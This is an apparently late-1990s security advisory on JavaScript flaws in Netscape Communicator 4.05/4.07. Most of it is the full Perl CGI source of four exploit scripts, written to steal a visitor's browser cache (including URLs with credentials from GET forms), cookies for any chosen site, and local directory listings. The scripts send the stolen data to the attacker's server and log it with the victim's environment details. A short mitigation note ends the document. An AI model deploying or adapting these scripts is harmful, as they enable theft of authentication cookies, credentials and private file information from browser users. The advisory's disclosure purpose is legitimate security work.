COMMAND

    netscape

SYSTEMS AFFECTED

    Win NT, 9x running Netscape Communicator 4.05, 4.07, IE5 (others?)

PROBLEM

    Georgi Guninski found following.   He found a new bug  in Netscape
    Communicator 4.07,  4.05 (probably  others), which  allows reading
    the user's  cache (the  URLs the  user has  visited, including the
    info  in  GET  forms).   The  bug  uses  Javascript  -  a  link to
    'about:<SCRIPT>...javascript code...</SCRIPT>' does  the work.  A
    demo is available at:

        http://www.freeyellow.com/members5/guninski/ncache.html
        http://www.nat.bg/~joro/ncache.html

    Part of  the code  is borrowed  from Dan  Brumleve and  for better
    goodies see:

        http://www.shout.net/~nothing/son-of-cache-cow/index.html

    Dan  Brumleve  recently  discovered  even more javascript security
    problems with  Netscape (including  4.07).   The information below
    was  posted   to  comp.lang.javascript   and   comp.security.misc.
    Probably the most  direct threat regarding  cache theft is  recent
    CGI submissions  using the  GET directive.   Most people  would be
    surprised at what lurks in their cache:

        http://foo/cgi-bin/enter.cgi?user=bar&pass=x

    - cookie-monster.cgi will steal cookies from arbitrary  locations;
      this is  very bad  since cookies  have been  widely deployed for
      authentication purposes.  The script will prompt you for a  URL,
      and retrieve all cookies issued to you by that site.
    - file-list.cgi will  steal the contents  of a local  directory on
      your hard  drive.   The script  will prompt  you for a directory
      name, and retrieve the names of all the files contained it.
    - file-list-old.cgi is a version of file-list.cgi modified to work
      on Netscape 4.01.
    - cache-cow-4.07.cgi will  steal the contents  of your cache.   It
      has  precisely  the  same  effect  as the exploit announced last
      week.

    And the sources (fairly small):

    #!/usr/bin/perl
    #
    # cache-cow-4.07.cgi -- Dan Brumleve <nothing@shout.net>, 1998.10.05

    use CGI qw(escape unescape);

    my $self =
    "http://www.shout.net/nothing/son-of-cache-cow/cache-cow-4.07.cgi";

    my $cgi = new CGI;
    my $action = $cgi->param("action");

    if (!$action) {
      print "Content-type: text/html\n\n" . <<"  EOF";
      <html>
      <head><title>Cache-Cow 4.07</title></head>
      <body bgcolor=#ffffff>
      <h1>Cache-Cow 4.07</h1>
      <form action="$self" method="post">
      <input type=hidden name=action value=launch>
      <input type=submit value="Give Dan Your Cache">
      </form>
      </body>
      </html>
      EOF
      exit 0;
    }

    if ($action eq "launch") {
      my $q = escape($cgi->param("q"));
      print "Content-type: text/html\n\n" . <<"  EOF";
      <title>Cache-Cow 4.07 (activated)</title>
      <script>
      var slave;
      var data = "";

      function report() {
        slave.location="$self?action=yum";
      }

      function lump() {
        slave.onload = report;
      }

      function launch() {
        slave = window.open("javascript:void(0)", "slave");
        document.f.submit();
        slave.onunload=lump;
      }

      function show() {
        document.g.urls.value = data;
        document.g.submit();
      }

      </script>
      <body onLoad="launch()" onUnload="show()">

      <base href="about:">

      <form action="cache" method="post" name=f target=slave>
      <input type=submit></form>
      <form action="$self" method="post" name=g>
      <input type=hidden name=action value=show>
      <input type=hidden name=urls value="">
      <input type=submit>
      </form>
      </body>
      EOF

      exit 0;
    }

    if ($action eq "yum") {
      print "Content-type: application/x-javascript\n\n" . <<"  EOF";
      var s = "";
      for (i = 0; i < document.links.length; i++) {
        s += escape(document.links[i].href) + "&";
      }
      window.opener.data = s;
      window.opener.location = "javascript:1";
      window.close();
      EOF
      exit 0;
    }

    if ($action eq "show") {
      my $urls = join("\n", map {
       $_ = unescape($_); s/^about://; $_ } split(/&/,$cgi->param("urls")));
      if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
        for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
        print FP "\n" . $urls . "\n\n";
        close(FP);
      }
      print "Content-type: text/plain\n\n" . <<"  EOF";
    Here are the URLs retrieved from your browser:

    $urls
      EOF

      exit 0;
    }



    #!/usr/bin/perl
    #
    # cookie-monster.cgi -- Dan Brumleve <nothing@shout.net>, 1998.10.05

    use CGI qw(escape unescape);

    my $self =
    "http://www.shout.net/nothing/son-of-cache-cow/cookie-monster.cgi";

    my $cgi = new CGI;
    my $action = $cgi->param("action");

    if (!$action) {
      print "Content-type: text/html\n\n" . <<"  EOF";
      <html>
      <head>
      <title>Cookie Monster</title>
      </head>
      <body bgcolor=#ffffff>
      <h1>Cookie Monster</h1>
      <form action="$self" method="get">
      Enter a fully-qualified URL:
      <input type=text name=q size=50 value="http://www.netscape.com/products/security/"><br>
      <input type=hidden name=action value=launch>
      <input type=submit value="Give Dan Your Cookies">
      </form>
      </body>
      </html>
      EOF
      exit 0;
    }

    if ($action eq "launch") {
      my $q = escape($cgi->param("q"));
      print "Content-type: application/x-javascript\n\n" . <<"  EOF";
      var slave;

      function report() {
        slave.onunload = null;
        slave.onload = null;
        slave.location = "$self" + "?" + "action=" + escape("yum");
      }

      function launch(x) {
        var q = unescape(x);
        slave = window.open(q, "slave");

        slave.onload = report;
      }

      launch('$q');
      EOF

      exit 0;
    }

    if ($action eq "yum") {
      print "Content-type: application/x-javascript\n\n" . <<"  EOF";
      var l = "$self" + "?" +
       "action=" + escape("show") + "&" +
       "location=" + escape(location) + "&" +
       "cookie=" + escape(document.cookie);
      window.opener.location = l;
      window.close();
      EOF
      exit 0;
    }

    if ($action eq "show") {
      my $location = $cgi->param("location");
      my $cookie = $cgi->param("cookie");
      if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
        for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
        print FP "\n";
        print FP escape($location) . ": " . escape($cookie) . "\n\n";
        close(FP);
      }
      print "Content-type: text/plain\n\n" . <<"  EOF";
      Cookies retrieved from "$location":

      $cookie
      EOF

      exit 0;
    }



    #!/usr/bin/perl
    #
    # file-list.cgi -- Dan Brumleve <nothing@shout.net>, 1998.10.05

    use CGI qw(escape unescape);

    my $self = "http://www.shout.net/nothing/son-of-cache-cow/file-list.cgi";

    my $cgi = new CGI;
    my $action = $cgi->param("action");
    my $default = ($ENV{HTTP_USER_AGENT} =~ /win/i) ? "c:" : "/";

    if (!$action) {
      print "Content-type: text/html\n\n" . <<"  EOF";
      <html>
      <head><title>File List</title></head>
      <body bgcolor="#ffffff">
      <h1>File List</h1>
      <form action="$self" method="get">
      <input type=hidden name=action value=launch>
      Enter a local directory name:
      <input type=text name=q size=50 value="$default"><br>
      <input type=submit value="Give Dan Your Directory Listing">
      </form>
      </body>
      </html>
      EOF
    }

    if ($action eq "launch") {
      my $q = escape($cgi->param("q"));
      $q =~ /^\%2F/ or $q = "%2F" . $q;
      $q =~ /\%2F$/ or $q = $q . "%2F";
      print "Content-type: text/html\n\n" . <<"  EOF";
      <title>File List (activated)</title>
      <script>
      var slave;
      var data = "";

      function report() {
        slave.location="$self?action=yum";
      }

      function lump() {
        slave.onload = report;
      }

      function launch() {
        slave = window.open("javascript:void(0)", "slave");
        document.f.submit();
        slave.onunload=lump;
      }

      function show() {
        document.g.files.value = data;
        document.g.submit();
      }

      </script>
      <body onLoad="launch()" onUnload="show()">

      <form action="file:$q" method=get target=slave name=f><input type=submit></form>
      <form action="$self" method="post" name=g>
      <input type=hidden name=q value="$q">
      <input type=hidden name=action value=show>
      <input type=hidden name=files value="">
      <input type=submit>
      </form>
      </body>
      EOF

      exit 0;
    }

   if ($action eq "yum") {
      print "Content-type: application/x-javascript\n\n" . <<"  EOF";
      var s = "";
      for (i = 1; i < document.links.length; i++) {
        s += escape(document.links[i].href) + "&";
      }
      window.opener.data = s;
      window.opener.show();
      window.close();
      EOF
      exit 0;
    }

    if ($action eq "show") {
      my $q = unescape($cgi->param("q"));
      my $files = join("\n", map {
       $_ = unescape($_); s/^file://; unescape($_) }
       split(/&/,$cgi->param("files")));
      if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
        for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
        print FP "\n" . $files . "\n\n";
        close(FP);
      }
      print "Content-type: text/plain\n\n" . <<"  EOF";
    Contents of local directory '$q':

    $files
      EOF

      exit 0;
    }



    #!/usr/bin/perl
    #
    # file-list-old.cgi -- Dan Brumleve <nothing@shout.net>, 1998.10.05

    use CGI qw(escape unescape);

    my $self =
    "http://www.shout.net/nothing/son-of-cache-cow/file-list-old.cgi";

    my $cgi = new CGI;
    my $action = $cgi->param("action");
    my $default = ($ENV{HTTP_USER_AGENT} =~ /win/i) ? "c:" : "/";

    if (!$action) {
      print "Content-type: text/html\n\n" . <<"  EOF";
      <html>
      <head><title>File List</title></head>
      <h1>File List</h1>
      <body bgcolor="#ffffff">
      <form action="$self" method="get">
      <input type=hidden name=action value=launch>
      Enter a local directory name:
      <input type=text name=q size=5 value="$default"><br>
      <input type=submit value="Give Dan Your Directory Listing">
      </form>
      </body>
      </html>
      EOF
    }

    if ($action eq "launch") {
      my $q = escape($cgi->param("q"));
      $q =~ /^\%2F/ or $q = "%2F" . $q;
      $q =~ /\%2F$/ or $q = $q . "%2F";
      print "Content-type: text/html\n\n" . <<"  EOF";
      <head><title>File List (activated)</title></head>
      <script>
      var slave;
      var data = "";

      function report() {
        slave.location="$self?action=yum";
      }

      function lump() {
        slave.onload = report;
      }

      function launch(x) {
        slave = window.open("file:" + x, "slave");
        slave.onunload=lump;
      }

      function show() {
        document.g.files.value = data;
        document.g.submit();
      }

      </script>
      <body onLoad="launch('$q')" onUnload="show()">

      <form action="file:$q" method=get target=slave name=f><input type=submit></form>
      <form action="$self" method="post" name=g>
      <input type=hidden name=q value="$q">
      <input type=hidden name=action value=show>
      <input type=hidden name=files value="">
      <input type=submit>
      </form>
      </body>
      EOF

      exit 0;
    }

    if ($action eq "yum") {
      print "Content-type: application/x-javascript\n\n" . <<"  EOF";
      var s = "";
      for (i = 0; i < document.links.length; i++) {
        s += escape(document.links[i].href) + "&";
      }
      window.opener.data = s;
      window.opener.show();
      window.close();
      EOF
      exit 0;
    }

    if ($action eq "show") {
      my $q = unescape($cgi->param("q"));
      my $files = join("\n", map {
       $_ = unescape($_); s/^file://; unescape($_) }
    split(/&/,$cgi->param("files")));
      if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
        for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
        print FP "\n" . $files . "\n\n";
        close(FP);
      }
      print "Content-type: text/plain\n\n" . <<"  EOF";
    Contents of local directory '$q':

    $files
      EOF

      exit 0;
    }

    This makes makes IE 5.0 go  to 100% CPU utilization and hangs  the
    browser.  This happened to me on NT 4.0 SP3 IE 5.0 128 bit.

SOLUTION

    Disable  Javascript  or  delete  you  cache  and set size to zero.
    Netscape 4.05, 4.07 (and 3.01  and 3.0 Gold) for Solaris  2.51 and
    for Linux Red Hat 5.0 and 5.1 are NOT vulnerable to this bug.